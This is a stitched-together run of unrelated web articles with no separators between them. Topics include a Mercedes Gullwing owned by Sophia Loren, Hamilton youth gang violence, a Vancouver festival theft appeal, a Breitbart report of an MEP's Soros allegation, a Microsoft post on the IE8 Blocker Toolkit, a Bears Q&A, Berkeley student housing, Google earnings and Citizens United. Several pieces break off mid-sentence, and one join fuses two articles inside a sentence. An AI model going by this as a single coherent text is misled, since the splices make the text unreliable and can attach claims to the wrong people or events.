In the third paragraph, Franken expresses his commitment to regaining the trust of Minnesotans and apologizes for putting them through “this.” Here a close reading is warranted. “This” undoubtedly includes the statement of false apology. If an ironist is at work here, he may be a master.Mercedes-Benz 300 SL Gullwing and Sophia Loren (Italian Actress) in the same photograph. Nowadays, it is really hard and rare to see this type of two iconic beauties in the same frame. Unfortunately, I could not find the exact date for these photos but according to manufacturing year of Mercedes 300 SL (1955), 1955 fits quite well.
Information for the new generation: Sophia Loren awarded one Grammy, five special Golden Globes, one BAFTA, a Laurel Award, and Cecil B. DeMille Award for lifetime achievement. And she doesn’t have an Instagram account, that’s why you are Googling her now.
Mercedes 300 SL Gullwing with 237421 ROMA licensed plate was owned by Sophia Loren. However, I have no idea where this 300 SL now. If this 300 SL still owned by Sophia Loren, you cannot estimate its value. Literally, priceless!
Mercedes 300 SL Gullwing was produced between the years 1954 – 1957. It was powered by a 3-lt direct injection petrol engine (direct injection now became standard) with 215 HP and coupled with 4-speed manual gearbox. The top speed was not limited to 250 km/h, it was more than 280 km/h. And the 300 SL Gullwing only weighs 1,3-tonne.
Nowadays, a 300 SL Gullwing is sold around $1.000.000!
By the way, this is what I call a proper Mercedes-Benz
Photos CreditsYoung Hamilton teens are emulating violent gang activity as a way to connect with each other and protect themselves in rough areas of the city — and in at least one case, it has lead to a tragic death.
That wanna-be youth violence is on the radar of social agencies, the school board and police, all of whom have dedicated resources to working with kids and trying to make them understand the dangers of gang-related activity and the significant consequences of the path they're on.
As one woman on social media puts it, these are "little men playing big men games."
At 14 or 15 years old, it starts as relatively innocuous — mostly fights and some minor drug dealing, while gaining status and respect from posting about their supposed gang ties on social media. These teens can also be used by "real" gangs for some low level jobs, which draws them further into gang culture.
But those "games" have serious implications and the activities and posturing can have larger consequences — both in terms of violence and the courts.
“Those individuals aren’t affiliated or aren’t members,” said David Stam, the program manager for the YARD program, the John Howard Society’s organization that focuses on gang violence prevention. “But they are all at-risk young people who are engaging in behaviour that creates risk in terms of engaging in criminal behaviour, and that may lead to violence.”
Last month's killing of 14-year-old Jesse Clarke appears to be an extreme example. The teen was stabbed to death in an incident that arose from a group of teens that youth advocates say are emulating Hamilton's actual youth gangs.
Witnesses in the east end neighbourhood where Clarke was killed last month reported seeing about a dozen young men show up at a home brandishing pipes and bats just before he was stabbed. Posts all over social media after his death carried the name of two youth gangs: BNA (or Black Native Association) and LOM (Loyalty Over Money). The teen’s friends and kids who live in the area mentioned them too.
Police and youth organizations say the violent act that lead to the 14-year-old getting stabbed and dying in the street had no firm connection to gang violence in the formal definition of gang violence that police or the courts use. That definition includes a hierarchy and structure that commits crimes in an organized way.
Yes, both BNA and LOM are real youth gangs active in the city, Stam says.
Hamilton as an overall community has always had a problem with at risk young people. - David Stam, program manager for the YARD program
According to friends, Clarke was affiliated with BNA – but Stam says it’s much more likely that Clarke was just part of an “at risk” group who use a “perceived social connection” to those groups as a way to find security and leverage on the street.
“Some of the youth gangs like LOM or BNA will use younger people in a social settings so that they can actually benefit as well,” Stam said. “They’ll use them for crime and gang related activity.” Some of Clarke’s friends say the group is involved in minor drug dealing, but largely, they were just involved in fights and acts of violence. Most of the people involved are in their early teens.
Youth violence down, police reports say
While Clarke’s death shines a light on the seriousness of youth violence – “legitimately” gang related or not – youth crime rates and violence in the city is actually dropping. According to Hamilton police’s latest year-end report on youth crime, youth violence reports were down 14.3 per cent last year compared to 2012. The percentage of young people "involved" with drug offences however, was up six per cent from the year before.
“We don’t have near the number of kids in our facilities anymore,” said Joyce Luyckx, the CEO of Banyan Community Services, an association that provides support services for young people in the criminal justice system. What is more prevalent, she says, is kids sharing gang related posts and photos on social media. That can lead to more exposure, and the perception that gang activity is growing.
Posts like this one tagged with the words BNA or LOM can be found on social media on accounts from Hamilton. (Facebook)
Young people do use social media to give off a front as if they’re connected to gang activity, says David Lane, the Executive Direction of the Hamilton/Burlington John Howard Society. “They do a lot of that stuff, but whether they’re in actual core youth gangs – many of them aren’t.”
While the "real" gangs get the attention of the guns and gangs squad, social agencies and police school officers are the ones trying to get to the younger teens before they cross that threshold.
One of the biggest problems is young people just lack the foresight and experience to understand the gravity of some of their choices – whether it’s as seemingly innocuous as running a package across the city or as dangerous as carrying a weapon and trying to collect a drug debt. “Our young people just lack that big picture thinking. They’re totally living in the moment,” said Const. Jonathan Van Owne, a school and youth officer with Hamilton police.
“They simply don’t have that brain capacity at the moment. Sometimes I feel like I’m giving really logical explanations, but it just doesn’t follow through.”
Breaking down barriers
There are lots of reasons that young people make those choices, though. Often, they’re pushed by situations outside their control and face many barriers – either at home, at school or in the workplace.
“These young people have faced in their lives a lot of trauma, a lot of rejection, a lot of failure. All of that social and emotional kinds of trauma is part of who they are,” Stam said. “Hamilton as an overall community has always had a problem with at risk young people who are engaged in minor criminal offences, increasing to assaults and more violent offences.”
David Lane (right), Kelly Burke (middle) and David Stam (left) work with the John Howard Society in Hamilton. (Adam Carter/CBC)
More than anything, kids just want a place where they can feel a sense of community and connectedness, he says. In many cases, kids who engage in pre-gang or violent activity are totally disengaged from their parents, their school, and from recreation or community contacts. When they have nowhere else to go, they turn to gang subculture for a sense of belonging, safety, and popularity.
“So the answer here is not just about focusing on what gangs are in Hamilton and how we disorganize them,” Stam said.
“It’s more about looking at how we develop strength in the individuals who are at risk as well as strength in communities.”
Working in schools and the community
So what is being done to keep kids away from violent, gang inspired behaviour? Police admit that youth gang activity is in our schools.The school board is pushing programs that stress academic achievement and success as a way to foster a sense of belonging, says David Hoy, the manager of social work services with the Hamilton-Wentworth District School Board.
"If youth are involved in those activities, then the likelihood of them being gang-involved decreases," he said. But there's no denying gang affiliation is there in Hamilton schools, he says. "We might think it's not there, but it's in every school. It can be the 'hangers-on, but it's there."
Hoy also says giving students a voice and then showing them how that voice can make change is important. They might think the world is unjust and there's no way to change that — but Hamilton's school system is doing what it can to change that, he says. "The youth voice can be incredibly powerful for evoking change."
The John Howard Society's YARD program has been running for just about a year now, and in that time, it has worked with about 80 at-risk young people and their families. YARD uses different methods, which run from the wide reaching — like establishing a gang-reduction strategy for the city — to the small scale, like prevention and intervention on a case by case basis.
In some ways, what at-risk teens need is deceptively simple: it can be as easy as someone riding the bus with them to get an ID or fill out some paperwork. While that might seem mundane and easy to us, these kids often just weren't raised in a way that social systems were explained to them, says Kelly Burke, a youth worker with YARD.
“They don’t know what the building looks like, or what it looks like inside, or what’s going to be asked of them,” Burke said. "They just don't."
“It’s having someone there who might not even say anything during the process, they know they have that person to attach to and make that transition easier.”Police are appealing for information and help to identify a person of interest related to two separate thefts of money from two popular summer festivals.
On August 3rd, 2012, over $9,000 in cash was taken from the Vancouver Pride Society office leading up to the 2012 Pride Parade. The subsequent investigation into the theft has revealed that a female volunteer for the Pride Society had access to the funds.
On September 3rd, 2011, the same woman is believed have volunteered her services during the Vancouver Taiwanese Festival where it was later discovered that $3,000 in cash went missing from a tent that held the personal belongings of other volunteers.
After speaking with staff from both the Pride Festival Society and Vancouver Taiwanese Festival, investigators believe that it is the same woman who had access to the stolen money. Follow-up with both festivals has determined that the volunteer provided false information about her name and all efforts to identify the woman, who is considered a person of interest, have been exhausted. The Vancouver Police now need the public’s help.
The woman is described as white, 35 to 40 years old, 5’4″ tall, with a heavy build and dark wavy shoulder-length hair.
Anyone with information about this person of interest or the thefts is asked to call Vancouver Police General Investigative Unit at (604) 717-3200 or Crime Stoppers at 1 (800) 222-8477.A Polish Member of the European Parliament has waded into the debate surrounding Bill and Hillary Clinton and the recent comments made about Polish and Hungarian democracy.
Speaking exclusively to Breitbart London, Tomasz Piotr Poreba – a former Adviser to the Committees on Foreign Affairs and Regional Development in the European Parliament – alleged that Bill Clinton’s recent foreign policy gaffe over Polish democracy was merely him following the orders of Hungarian-American billionaire George Soros.
Earlier this week Mr. Clinton upset NATO allies when he accused Poland and Hungary of thinking “democracy is too much trouble” and wanting to have an “authoritarian dictatorship.”
In an attempted swipe at Republican presumptive nominee Donald Trump, he said: “[Poland and Hungary] want Putin-like leadership. Just give me an authoritarian dictatorship and keep the foreigners out. Sound familiar?”
But he was rebuked by European leaders who also demanded an apology. Now, a Member of the European Parliament had waded in.
Mr. Poreba MEP told Breitbart London: “In my opinion this comment was rather inspired by influential liberal groups. Not so long ago relations between the Clintons and billionaire Soros were revealed.
“Not so long ago relations between the Clintons and billionaire Soros were revealed.
“Mr Soros has expressed his negative opinions on Poland and the new Polish government several times.
“I treat this latest comment on Poland and Hungary as a part of Clinton-Soros relationship: Soros supports Clintons and Clinton followed his order. That is no secret.”
Mr. Clinton’s comments also prompted outrage amongst the Polish-American community, who blindsided Hillary Clinton during a campaign stop in her hometown of Park Ridge, Illinois.
Dozens of protesters gathered to demand an apology, express solidarity with the new Polish government, and chant “No More Clintons!” as Mrs. Clinton attempted to raise money nearby.
Mr. Clinton’s comments also drew the ire of the head of the Polish Law and Justice Party, who said: “If someone says there is no democracy in Poland today, that means he should have a medical test”.
Mr. Soros – who has openly and consistently opposed national sovereignty and border control across Europe – stands accused of funding groups attempting to destabilise Poland’s new, democratically elected, right-wing government.
Mr. Soros has been the subject of criticism from Hungarian Prime Minister Viktor Orban, who has hurled accusations of Mr. Soros’s funding and support of the European migrant crisis at the billionaire, not without evidence.
Follow Raheem Kassam on TwitterCredit: Reddit User AshsEvilHand
Spoilers ahead for Tuesday's "Welcome to Earth-2" episode of The Flash.
Tuesday's episode of The Flash was titled "Welcome to Earth-2," but it was more of a welcome for some new faces with some familiar names into the Arrow-verse.
The most obvious one was the cameo by Melissa Benoist's Supergirl while the Flash (played by Grant Gustin) was traveling through a breach in the multiverse. But wait, that's not all - check out these screen images grabbed by fans:
The Flash and Supergirl are already scheduled to crossover in an episode of Supergirl this March, and Connor Hawke and Jonah Hex are expected to show up in DC's Legends of Tomorrow. But the Legion ring is something new.
Another Easter egg buried deeper in this fast-paced episode of The Flash is some familiar first names, alluding to Batman, Green Lantern and Wonder Woman. Check out the last three names on Earth-2 Barry Allen's speed dial:
The Flash returns Tuesday, February 16 to the CW with an episode titled "Escape from Earth-2."Why multi-city trips are so exhausting
John Appleby Blocked Unblock Follow Following Apr 24, 2016
In consulting, we often travel to customers during the week. Many of my team fly to a customer on Monday morning, and fly out on Thursday night — working at home on a Friday, and having the weekend at home. It’s a common scenario, and the consultants spend 3 nights in the same hotel before heading home.
By contrast, in my role as a General Manager, I generally travel from city to city, meeting with new customers and supporting existing project teams. It’s not unusual to travel to 4 or 5 cities in a week, staying in 3 Or even 4 different hotels in a week.
I’m not too picky or needy, so long as I’ve got a quiet room and a bed with clean sheets, I’m good to go. This is pretty much guaranteed in all the big hotel chains, though I generally stay in Marriott properties.
For some reason, multi-city trips are tiring
I’m quite used to it, but since my team has grown, there are now some others doing multi-city trips for the first time, and they have been shadowing me as we travel around the country. By Thursday they are totally spent; exhausted.
At first, I put it down to the stress of flying; to do multiple cities you typically get up early in the morning to fly, or fly in the evening, or both. But I’ve been wondering if that was really a big factor; in most cases, people are able to get a solid 7 or 8 hours sleep, so it’s not like traveling multiple cities leaves you sleep deprived.
Our crocodile brain is at work
And then I came across an article in The Economist, which explains it all.
It turns out that our brain treats new sleeping locations differently, and as a result, we don’t sleep as deeply when we’re in a new location for the first night. The second night, things go back to normal.
This is presumed by the doctors in the Brown University, in Providence, Rhode Island, to be caused by an evolutionary instinct to be a night watchman in a new and unfamiliar territory, AKA the Courtyard Marriott in Dallas TX.
My corollary is that if you do 3, or 4 nights in different hotels, you may not get a good night’s sleep all week. This adds up as the week progresses, leaving you drained.
What can we do?
What I’m left wondering is what we can do about this. I’ve read articles suggesting that traveling with your own pillow can help (but don’t have the patience for this). It seems likely that creating familiarity might help.
Perhaps it’s possible to trick your crocodile brain into thinking it’s in a familiar location, by using a sound machine at home and while you are traveling? Or by using a familiar smell, like an essential oil, and putting some drops on the bed?
Does anyone have a mechanism they use to trick the brain whilst traveling? I’d love to hear from you.We believe IE8 helps make browsing the web faster, easier, safer and more reliable. To help our users be more secure and up-to-date, we will distribute IE8 via Automatic Update (AU) and the Windows Update (WU) and Microsoft Update (MU) sites much like we did for IE7. We know that in a corporate environment, the IT organization will often want to delay the introduction of a new browser until they have tested compatibility with internal applications and sites. We’ve done a lot of work in IE8 to maintain compatibility with sites designed for Internet Explorer 7, for example compatibility view and the compatibility meta tag. However we know many IT organizations will still want to test the browser before it is deployed. To help prevent users from installing IE8 through Automatic Update before compatibility testing has been completed, we are providing the IE8 Blocker Toolkit. This toolkit has no expiration date and can be configured either by running the registry file on the client machines or via Group Policy in domain joined environments. The Blocker Toolkit is available today from the Microsoft Download Center.
IE8 will be available for users on the following platforms:
Windows Vista 32bit and 64bit,
Windows XP SP2 and above,
Windows Server 2008 and Windows Server 2003 SP2 and above
The IE8 update will be released as the highest priority update for each operating system. For Windows Vista and Windows Server 2008, it will be listed as Important. For Windows XP and Windows Server 2003, the update will be listed as High Priority. Delivery of IE8 via AU will begin after we make IE8 available from the Microsoft Download Center. Of course, users can always decline to install IE8 through AU when it is offered. More information for IT Professionals about IE8 delivery via AU is available here.
If you previously used the IE7 Blocker toolkit to block IE7 from being offered as a high-priority update, you will need to run the IE8 version of the Blocker Toolkit to block IE8 from being offered via AU. There are different registry keys used to block or unblock automatic delivery of IE7 and IE8. If you configure the IE8 Blocker Toolkit setting to prevent users from installing IE8 via WU/AU, IE8 will not appear in the list of available high priority or important updates. We believe this approach strikes a good balance by helping customers become more secure and letting organizations control when they are ready to deploy IE8 to their users. Note: The IE8 Blocker toolkit will not block the final version of IE8 being offered to users who already have pre-released versions of IE8 installed on their machine. Also, the IE8 Blocker toolkit will not prevent users from manually installing IE8 from the Microsoft Download Center.
Organizations that use an update management solution such as Windows Server Update Services or Systems Management Server 2003 do not need to deploy the Blocker Toolkit. Windows Server Update Services and Systems Management Server 2003 allow organizations to fully manage deployment of updates released through WU and MU, including IE8. For more information about the IE8 Blocker Toolkit, check out this link.
For those who are interested, here is what the AU experience will look like for IE8.
How the AU delivery will work
For Windows XP and Windows Server 2003 users
AU will notify you when IE8 is ready to install. You will also be able to visit Windows Update or Microsoft Update sites and manually install IE8 update by performing an “Express” scan for high-priority updates.
When Windows Update starts installing IE8, you will see the IE8 welcome screen as such:
To proceed with the installation, decide on whether or not you’d like to participate in our Customer Improvement Program and click Install. If you choose Ask me later, WU will re-offer IE8 to you during the next update scan. If you choose Don’t Install, WU will not offer IE8 to you again, and IE8 will appear as an optional item on Windows Update.
For Windows Vista and Windows Server 2008 Users
AU will notify you when IE8 is ready to install. You can click on the bubble to launch IE8 installation. You can also install IE8 from Windows Update manually by typing Windows Update in the command prompt and checking for updates.
When Windows Update starts installing IE8, you will see the IE8 welcome screen:
To proceed with the installation, click Install. If you choose Ask me later, WU will re-offer IE8 to you during the next update scan. If you choose Don’t Install, WU will not offer IE8 to you again, and IE8 will appear as an optional item on Windows Update.
Note: The IE8 Welcome screens are still in draft form and are subject to change by the time IE8 is distributed via WU/AU.
If you configure the IE8 Blocker Toolkit setting to prevent users from installing IE8 via WU/AU, IE8 will not appear in the list of available high priority or important updates. We believe this approach strikes a good balance by helping customers become more secure and letting organizations control when they are ready to deploy IE8 to their users.
Thanks,
Jane Maliouta
Program ManagerTony Greig: "I have had a few scrapes in my life and this is another one." © Getty Images
Tony Greig, the former England captain, has been diagnosed with a form of lung cancer and will undergo a biopsy later this week to determine at what stage the disease is at and what the required course of action would be.
"I have had a few scrapes in my life and this is another one," Greig told the Sunday Telegraph. "[His wife] Vivian and I are going to put the boxing gloves on and fight this like we've never fought anything before."
Greig, who is currently a well-known television commentator, was initially diagnosed with bronchitis in May. His condition did not improve and tests following the World Twenty20 revealed that he has a lesion on his right lung. On his return to Australia from the tournament, he had "a lot of fluid" drained from the lung, and further testing revealed he had cancer.
Greig said he was unsure if he will be working over the Australian summer, as commentator, with Channel Nine: "At this stage, the summer is totally up in the air. My priority, 100%, is my family. They will come first."
© ESPN Sports Media Ltd.The Tribune's Brad Biggs answers your Bears questions.
Do you think the Bears will go after a big-name wide receiver this offseason or smaller names? — @NickPalazzolo5
I would be stunned if the Bears are not a major player in free agency for help at wide receiver. I could see them adding a player from the top tier of available receivers and a secondary-type option. Keep in mind: We don’t know exactly who is going to be on the market right now and there’s no guarantee a true No. 1 will be available. Free agency is for plugging a hole here and there, and as we’ve seen, there are a lot of swings and misses in the NFL’s shopping season. The Bears invested in Eddie Royal and Markus Wheaton. Royal couldn’t stay on the field and wasn’t very productive when he did play. Wheaton hasn’t been able to get on the field and stay on the field this season. The best solution is to find a dynamic playmaker in the draft, a player the Bears can control on a rookie contract and then re-sign as part of the future. That’s easier said than done, though, and Kevin White is an example of how that plan can go awry. There’s no question in my mind the Bears will seek to completely overhaul the position in the offseason.
How has Kyle Fuller's attitude been toward the Bears? Will an extension get done after they turned down a fifth year in his contract? — @mosconml
Fuller has had a great attitude this season, and I think that’s reflected in his performance on the field. I would imagine it’s more about business for him than anything else. People need to keep in mind it is a business and the players make decisions that are in their best interest. With eight games remaining, Fuller is two months away from free agency. He has played perhaps the best football of his career through eight games, and a lot is riding on second half of the season for him. I can’t imagine Fuller was thrilled when the team turned down the fifth-year option in his contract, but no reasonable person would fault the Bears for that decision. My hunch is Fuller heads to the open market to see what is out there. Could the Bears be a suitor? Sure, that’s possible. But the team surely would consider other options and also will be looking closely at cornerbacks in the draft.
Do you see the Bears trying to trade down in the first round in 2018 to get another second-round pick and spending on O-Line and wide receiver? Seems like a good WR draft. — @AustinG183
It’s way too premature to talk about trading up or down. Reality is a general manager is going to listen to anyone who calls in the predraft process, but it’s difficult to talk about scenarios when we have no idea where the Bears will be selecting in the first round. We also don’t know what players will be in the mix as underclassmen don’t finish making decisions on early entry until January. We don’t know what positions will be strengths and how that will relate to the Bears’ greatest needs. I know general manager Ryan Pace always operates with the idea that the more picks he has, the better off he is. That said, Pace also is aggressive and when he sees a player he really likes, he stays put to draft him or even trades up to get his guy. Personally, I don’t think the Bears roster is talented enough to justify trading out of Round 1 entirely. That’s where the best talent is. Get an impact player.
When and if Markus Wheaton returns, what role will he play for this team? He’s pretty much an afterthought at this point. — @Greatnxss
Wheaton is working his way back from a groin injury, and the good news is he has been on the practice field this week at Halas Hall. Whether he’s far enough along to play Sunday against the Packers, I don’t know. Wheaton might still be another week or so away. He’ll be in the mix when he’s healthy, and there is no question the offense can use him. He ought to add a vertical element to the passing game, which has been missing. I wouldn’t call him an afterthought. I’d say he has had an incredible stretch of poor luck that will have to force the Bears to consider what to do with him after the season. Wheaton has a base salary of $5 million for 2018 and will need to be quite productive in the next two months to justify that type of pay day.
The Tribune's Bears writers make their game-by-game predictions for the 2017 season. (Brad Biggs, Rich Campbell, Dan Wiederer, David Haugh) (Brad Biggs, Rich Campbell, Dan Wiederer, David Haugh)
Clearly, the Bears need a deeper wide receiver group next year. However, given their ample cap space, is it realistic to think the wide receiver group could be above average next year? If the Bears are able to sign two from a group of Jarvis Landry, Allen Robinson, Sammy Watkins and Jordan Matthews and can supplement them with a healthy Cameron Meredith and Kevin White, could they realistically have a deep receiver group in just one offseason? The savings from releasing Mike Glennon alone should net two solid receivers. — Sanjay A., Chicago
So you’re talking about going from 31st or 32nd in the NFL in receiver groups to “above average.” With average being 16th or 17th, I’d say above average is somewhere around 12th. That’s a good goal to have, and certainly if quarterback Mitch Trubisky develops rapidly, it’s possible the Bears will look much better on the outside in 2018. We’re not sure who will be available in free agency yet, and none of the names you mentioned strikes me as a true No. 1. Keep in mind there aren’t 32 legitimate No. 1 receivers in the NFL -- the number is significantly lower. I see the Bears being very active in adding wide receivers. It probably would be best to think anything they get from Meredith or White is a bonus. I think you’ve vastly overrated how much money they can do with Glennon’s 2018 salary too. Glennon has a base salary of $12.5 million in 2018 and I don’t know you’re getting two solid receivers for that money. Two guys who can contribute? Sure. The Bears need to ensure they have players slotted properly. They need a player who is a No. 1 -- or as close as they can get -- a No. 2 and then secondary options. That was one of the issues with this season. Even if healthy, it’s fair to say Meredith wasn’t a No. 1 and White wasn’t a No. 2. It will be interesting to see what develops in March and April.Shillong, July 14: AICC general secretary V. Narayanasamy, on a two-day visit to Meghalaya, today criticised the BJP-led NDA government at the Centre for its "anti-Northeast policy".
Narayanasamy, who is in-charge of Meghalaya and other states in the Northeast barring Assam, told reporters here that the Narendra Modi government had promised the people of the region many things before the Lok Sabha election but had "ignored and sidelined" it after coming to power.
He slammed the centre for withdrawing the special category status of the northeastern states and cutting funds for centrally sponsored schemes in the region.
Accusing the NDA government of trying to arm-twist the Congress-ruled states, Narayanasamy said, "Doing away with the special category status has created a lot of hurdles in the implementation of development projects in the region. The chief ministers from the region had sought an appointment with the Prime Minister more than three months ago but the Prime Minister has neither given the appointment nor taken any decision to review the situation and restore the status."
He alleged that the Centre was adopting anti-tribal policies and tried to communalise politics.
The AICC leader said the frequent visit of NDA ministers to the region had not yielded results because they could not take any decision since this power was completely with the Prime Minister.
Narayanasamy also attacked the |
her boyfriend. It’s a better deal than anything she could find in Berkeley and bigger. Still, the commute has its toll. “You’re spending all this energy sitting in your car,” she says. “It makes integration into the community difficult. You’re just going to school and then you’re going home. School is just some place that you go. It’s not a home to you.”
Tim De Guzman, a second-year microbiology major, had been commuting from Fairfield before he got a place at one of Berkeley’s co-ops. They have a long wait list and give priority to low-income and disabled students—and at roughly $3,000 per semester, they’re a bargain for students who do manage to snare a spot. De Guzman says that as a Filipino, he sometimes feels out of place in the mostly white Clough house: “You wouldn’t fit in if you weren’t wearing earth tones and drinking out of a mason jar and caring about growing your own vegetables and having a chicken in the backyard.”
This year Kate Feenstra, a literature student studying abroad from the United Kingdom, landed a deal at Cloyne Court, a substance-free, academic theme house. “The co-ops are really famous in terms of Berkeley,” Feenstra says. “I heard about them being really cool, but then I found out that the whole point of the co-op was that they’re low-budget. So because my student finance wouldn’t cover anything other than the co-ops, I wouldn’t be able to afford anything else.”
UC Berkeley researchers from the Urban Displacement Project recently released a study, with a handy map, detailing stages of gentrification in the Bay Area. Most of the analysis focuses on Oakland and San Francisco, but Berkeley is not off the hook. The map reveals that West Berkeley is already in the throes of gentrification, and parts of North Berkeley are at risk of gentrification, or already in the process of displacement
And then there are parts on the map near UC Berkeley, where students dwell. The researchers simply declared Southside and Northside “college town” and left it at that.
“We cut out the census tracts that were dominated by students because they have different mobility patterns,” says Karen Chapple, a founder of the Urban Displacement Project and professor of city and regional planning at UC Berkeley. “The kind of transition that we’re calling displacement means a different thing for them.”
But the transient nature of Berkeley students exacerbates Berkeley’s fierce rental market. “We’re seeing loss of low-income, long-term Berkeley residents as they get evicted to make way for students,” Chapple says. “There aren’t many hipster families that buy a house next to campus to raise a family there. It’s more students competing with themselves.”
Jay Kelekian of the Berkeley Rent Stabilization Board says students are more likely to pay more for worse living conditions than the average Berkeley resident. Plus, under the Costa-Hawkins Rental Housing Act of 1995, there is no limit to the rental rates at the beginning of a new tenancy. In a city with high turnover rates on apartments, such as Berkeley, landlords are permitted to raise rents often.
“It’s frustrating,” Kelekian says. “We didn’t have that problem prior to Costa-Hawkins. Before then, there wasn’t this incentive to push someone out.”
In Berkeley, students don’t need to be pushed out—they simply leave. “If everybody in Berkeley lived here forever, then we’d have rent that was significantly below the market,” says Christopher Palmer, assistant professor with the Haas Real Estate Group. “No landlord ever has to fight to keep a tenant because there’s always someone outside the door willing to move in.”
Students new to Berkeley are at a distinct disadvantage. Mark Tarses, who rents several properties in Berkeley, rarely has a tenant last longer than five years, and before he even needs to put an apartment on the market, he has tenants waiting to get in.
“The big losers are landlords who own rent-controlled apartments with tenants who will stay there until they die, and tenants who are coming into the market, but who will only be there for a few years, like college students,” Tarses said.
The median rent for a two-bedroom apartment was $1,850 a month in the last quarter of 2012, according to the Berkeley Rent Stabilization Board. A one-bedroom went for about $1,323.
The university’s cost of living estimates put an apartment at $7,184 for the 2015-16 term, but those estimates don’t account for how many students will be living in each apartment. The estimates are also based on how many students complete the Cost of Attendance Surveys—in 2012, that was 40 percent.
“The institutional leaders are blind to the housing needs of students because there is no way for students to let the university know in what conditions they’re living. One thing is to report on how much they’re spending on rent, and another is to report on conditions they’re in,” says Ruben E. Canedo, chair of UC Berkeley’s Food Security Committee.
And that’s a market that shows no signs of bursting. In 2012, 4,162 new students enrolled in Berkeley. By 2014, that number was at 5,466. In an email, university spokesperson Adam Ratliff wrote: “We understand that housing and living expenses are a very real concern for students and families. We did not have a rate increase for the 2015-16 school year. In comparative terms, our rate increase has averaged less than one percent annually over the last six years.” UC Berkeley has no plans to build more student housing, according to campus spokesperson Dan Mogulof.
And the squeeze affects UC Berkeley staff as well. “No one can afford to buy in Berkeley,” Chapple says. “The housing crisis is really having an impact on the quality of Berkeley faculty. And that changes campus life. This was always a place where people just kind of hung out 24/7. Now people just aren’t here. You can feel it in the halls.”LARRY Page does not sound healthy. When he speaks on conferences calls, his voice sounds hoarse, metallic, and generally sick.
LARRY Page does not sound healthy. When he speaks on conferences calls, his voice sounds hoarse, metallic, and generally sick.
That is not to suggest for one minute, though, that Google's chief executive is in anything but the rudest of health, much like his company.
Investors in Google received some welcome good news from the company on Tuesday night. Google, after a tough third quarter, said revenue for the final three months of 2012 topped $14.4bn (€10.8bn), while earnings per share climbed to $10.65.
Those numbers, which were well ahead of market forecasts, cheered traders and saw Google's share price climb nearly 6pc when it opened yesterday.
While the garden is certainly rosy, the market remains volatile, however, and Google has several challenges to negotiate.
The biggest obstacle on the horizon for the company will be how it handles the transition from desktop computing to mobiles and tablets.
The size of these devices works against advertising, which accounts for about 89pc of Google's revenues.
In short, you can't get many ads on such a small screen. This has caused problems for both Facebook and Google, but yesterday Google finally appeared to be getting on top of the problem.
Cost per click (CPC), essentially how often a user clicks on an advertisement, decreased 6pc year-on-year, but was a much gentler decline than the 15pc fall that had been seen in the previous quarter.
Mobile
That is not to say the mobile side of the business is not without its problems. The rate of decline may have slowed, but CPC is still declining.
The stabilisation of CPC was offset though by a decline in "paid clicks", or sponsored advertising. The growth rate in that side of the business fell from 33pc to 24pc.
While chief business officer Nikesh Arora said much of this decline was due to tougher standards being imposed by Google and a reduction in the number of ads on certain pages, the bottom line is this figure was down.
Away from the pure search business, the company is also experiencing problems with its move into hardware.
As well as the likes of Gmail and Search, Google now has its "Nexus" suite of smartphones and tablets, while it also makes smartphones, thanks to its acquisition of Motorola two years ago.
The company does not break down numbers around its Android software system but revenues at Motorola declined sharply quarter-on-quarter to about $1.5bn (€1.1bn).
Android
That does not reflect a decline in the use of Android phones – the operating system has overtaken Apple's iOS to be the most popular operating system for smartphones in the world – but it does reflect the problems it is facing as it moves into the hardware sector.
Google's move into hardware now appears to be being replicated by Microsoft, which is moving beyond its Windows operating system and could be buying into Dell.
The idea of the software company taking greater control of the physical device that it's run on is a clear sign of Apple's influence on the business.
The success of Apple's fully integrated laptops and phones is fast becoming the holy grail for tech companies.
Holy grail
There may be another holy grail coming though. On the conference call, Larry Page talked about progress in the mobile market and how we are all connected.
Nothing new in that. But then he spoke about how users shouldn't have to worry about running out of battery, or smashing their device every time they drop it.
So is Google working on an unbreakable smartphone with a massive battery life? He wasn't saying, but if they come up with it, it will certainly be a winner.
Indo BusinessLobbyists and trade groups have pumped huge sums into the coffers of super PACs and nonprofits connected to Speaker John Boehner, Senate Minority Leader Harry Reid and Senate Majority Leader Mitch McConnell ever since the Citizens United decision. (Photo: Drew Angerer via Getty Images)
When Supreme Court Justice Anthony Kennedy cast the deciding vote to gut a century of campaign finance law, he assured the public that the unlimited corporate spending he was ushering in would “not give rise to corruption or the appearance of corruption.” Because those authorized to give and spend unlimited amounts were legally required to remain independent of the politicians themselves, Kennedy reasoned, there was no cause for concern. Just five years later, in a development that may be surprising only to Justice Kennedy, the Supreme Court’s 2010 decision is reshaping how, how much and to whom money flows in Washington. How the flood of money released by Citizens United v. Federal Election Commission has changed elections has been the subject of much discussion, but the decision’s role in allowing that same money to soak the legislative process has largely gone unreported. According to an extensive review of public documents held by the FEC, the U.S. Senate and the Internal Revenue Service, as well as interviews with lobbyists and policymakers, Kennedy's allegedly independent spending has become increasingly intertwined with lobbying and legislation -- the precise appearance of corruption campaign finance laws were meant to curb. Politically active nonprofits, known as "dark money" groups for their ability to shield the identity of donors, and super PACs, which take unlimited sums of money but must disclose donors, have become dominated by lobbyists and other political operatives with close ties to leaders in Congress. Meanwhile, businesses with issues before Congress are pumping increasingly more money into the lobbyist-connected organizations. The Supreme Court initially established a narrow definition of corruption in the 1970s, but Citizens United used it to blow open the gates that had been holding back corporate money. The 2010 decision came as the U.S. legislative system had evolved into a near parliamentary system of party-line voting and expansive party networks extending seamlessly from the Capitol to party headquarters to lobbying firms to outside political groups. Most top congressional legislators now have "leadership teams" -- informal but internally recognized groups of aides-turned-lobbyists who help raise funds. To the lobbyists working in the system he helped create, Kennedy’s vision of political spending is unrecognizable. "I think Justice Kennedy's view on this was naive at best," one lobbyist told The Huffington Post, reflecting a rare bipartisan consensus. "People are going to do what's allowed under the law." The Supreme Court majority’s casual dismissal of the possibility that the Citizens United ruling could lead to corruption or the appearance of corruption was necessary from a judicial perspective. Citizens United and a subsequent lower court ruling essentially hold that the First Amendment prevents the government from restricting political spending independent of the candidates and parties. Yet the courts had long recognized Congress’ authority to regulate the financing of campaigns and the lobbying process in order to maintain the citizens’ trust in a democratic government. Where the choice had been between the sanctity of elections on the one hand and an unfettered interpretation of the First Amendment on the other, the courts chose to protect elections -- because without a trusted government, there is no First Amendment to speak of. Kennedy and the other four justices, therefore, had to insist that independent political spending could not lead to corruption or the appearance of corruption -- no threat of corruption meant no congressional authority to regulate that spending. It is difficult, however, to look closely at the way laws are being made today without acknowledging at least an appearance of corruption. Congressional aides to whom HuffPost spoke all said that their own members of Congress were certainly not influenced in an untoward way by the corporate funds pumped into efforts to re-elect them, but that it was easy to see why the public might assume 